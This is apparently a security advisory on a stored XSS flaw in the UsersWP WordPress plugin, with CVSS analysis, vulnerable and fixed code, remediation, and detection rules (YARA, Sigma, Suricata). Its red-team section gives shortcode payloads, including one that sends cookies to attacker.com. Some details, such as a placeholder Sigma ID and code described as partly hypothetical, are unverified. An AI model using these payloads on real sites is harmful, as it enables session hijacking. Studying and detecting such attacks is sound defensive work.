CVE-2024-2423

Executive Summary

CVE-2024-2423 is a Stored Cross-Site Scripting (XSS) vulnerability in the UsersWP WordPress plugin, affecting versions up to and including 1.2.6. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with at least contributor-level permissions can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx misconfigurations. The plugin is used for front-end login, registration, user profiles, and member directories. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to stored persistence and cross-site scripting.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch from the vendor (UsersWP) means site administrators must rely on compensating controls.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs contributor-level access or higher.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS and the potential for privilege escalation (e.g., stealing admin cookies) makes this a serious concern for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the shortcode registration and rendering process of the UsersWP plugin. Shortcodes like [uwp_login], [uwp_register], [uwp_profile], and [uwp_members] accept user-supplied attributes (e.g., redirect, label, class). The plugin fails to properly sanitize these attributes before outputting them in the HTML.

Attack Flow:

1. An authenticated contributor creates or edits a post/page.
2. The attacker inserts a malicious shortcode, e.g., [uwp_login redirect="javascript:alert('XSS')"].
3. The plugin processes the shortcode and outputs the redirect attribute without escaping.
4. When any user (including admins) visits the page, the JavaScript executes.

Root Cause: The plugin uses echo or print directly on user-supplied attributes without passing them through esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (userswp/includes/shortcodes.php):

function uwp_login_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'redirect' => '',
    ), $atts );
    $redirect = $atts['redirect'];
    // Direct output without escaping
    echo '<input type="hidden" name="redirect_to" value="' . $redirect . '">';
}

Patched Code (Hypothetical Fix):

function uwp_login_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'redirect' => '',
    ), $atts );
    $redirect = esc_url( $atts['redirect'] );
    echo '<input type="hidden" name="redirect_to" value="' . $redirect . '">';
}

The fix uses esc_url() for URL attributes and esc_attr() for general attributes. Since no official patch exists, this is a recommended remediation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with UsersWP plugin <= 1.2.6.
• Contributor-level account or higher.

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode in the content:

   [uwp_login redirect="javascript:alert(document.cookie)"]
   

4. Publish the post.
5. Wait for an administrator to visit the page. The JavaScript executes, exfiltrating cookies.

Advanced Payload (Session Hijacking):

[uwp_login redirect="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing shortcodes with suspicious attributes (e.g., javascript:, onerror=, onload=).
• Use WAF rules to block shortcode attributes containing javascript: or event handlers.

Prevention:

• Disable the UsersWP plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block XSS attempts in shortcode attributes.
• Restrict contributor-level permissions to trusted users only.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/post-new.php or /wp-admin/post.php containing shortcode attributes with javascript: or event handlers.
• File: Modified posts/pages in the WordPress database containing malicious shortcodes.
• Log: WordPress audit logs showing creation/editing of posts by contributors with unusual shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2024_2423_UsersWP_XSS {
    meta:
        description = "Detects malicious shortcode attributes in UsersWP plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2423"
    strings:
        $shortcode = /\[uwp_(login|register|profile|members)[^\]]*?(javascript:|on\w+=)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-2423 UsersWP Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in UsersWP shortcodes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        cs-uri-query|contains: 'post_type=post'
        cs-request-body|contains: 
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcodes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2423 UsersWP Stored XSS Attempt"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; content:"javascript:"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the UsersWP plugin until a patch is available.
2. Review all posts/pages created by contributors for malicious shortcodes.
3. Reset all user sessions to invalidate any stolen cookies.

Long-term Fix:

• Apply the hypothetical patch by adding esc_attr() or esc_url() to all shortcode attribute outputs.
• Monitor the UsersWP plugin repository for an official update.

Compensating Controls:

• Implement a Content Security Policy (CSP) header to block inline JavaScript.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.
• Restrict contributor permissions to only trusted users.

Valters IT